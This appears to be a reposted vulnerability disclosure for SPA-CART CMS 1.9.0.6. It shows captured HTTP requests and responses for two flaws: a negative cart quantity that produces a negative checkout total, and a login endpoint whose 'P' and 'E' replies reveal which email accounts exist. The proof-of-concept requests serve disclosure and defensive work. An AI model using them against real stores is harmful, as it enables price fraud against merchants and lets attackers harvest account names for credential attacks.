SPA-CART CMS 1.9.0.6 Username Enumeration / Business Logic Flaw – Torchsec
spa-cartcmsv1.9.0.6
# Date: 6/2024
# Exploit Author: Andrey Stoykov
# Version: 1.9.0.6
# Tested on: Ubuntu 22.04
# Blog:
https://msecureltd.blogspot.com/2024/04/friday-fun-pentest-series-5-spa.html
Description
- It was found that the application suffers from business logic flaw
- Additionally the application is vulnerable to username enumeration on the
login page
Logic Flaw
Steps to Reproduce:
1. Checkout page and intercept HTTP POST request
2. Add minus quantity such as -10
3. The final price would come up as negative value
// HTTP POST request modifying the quantity to negative value
POST /cart/add HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122
[...]
productid=225&amount=-10
// HTTP response
HTTP/2 200 OK
Server: nginx
[...]
[...]
alt="" />Five And Two Jewelry Piper Gold-Plated Earrings added to
cart
Price:
[...]
// HTTP GET request to checkout
GET /checkout HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122
[...]
// HTTP response showing negative amount owned
HTTP/2 200 OK
Server: nginx
[...]
[...]
\t
$<\/span>-590.00 <\/td>
[...]
Username Enumeration:
Steps to Reproduce:
1. Register account
2. Enter valid account with wrong password
3. Trap HTTP request
4. Check that response for valid username has "P" message
5. Enter invalid account with wrong password
6. Check that response for invalid username has "E" message
// HTTP POST request with valid username and wrong password
POST /login HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
[...]
email=test%40test.test&password=test123
// HTTP response showing "P" error message
HTTP/2 200 OK
Server: nginx
[...]
P
// HTTP POST request with invalid username and wrong password
POST /login HTTP/2
Host: demo.spa-cart.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
[...]
email=test%40test.t3st&password=test123
// HTTP response showing "E" error message
HTTP/2 200 OK
Server: nginx
[...]
E
Gloss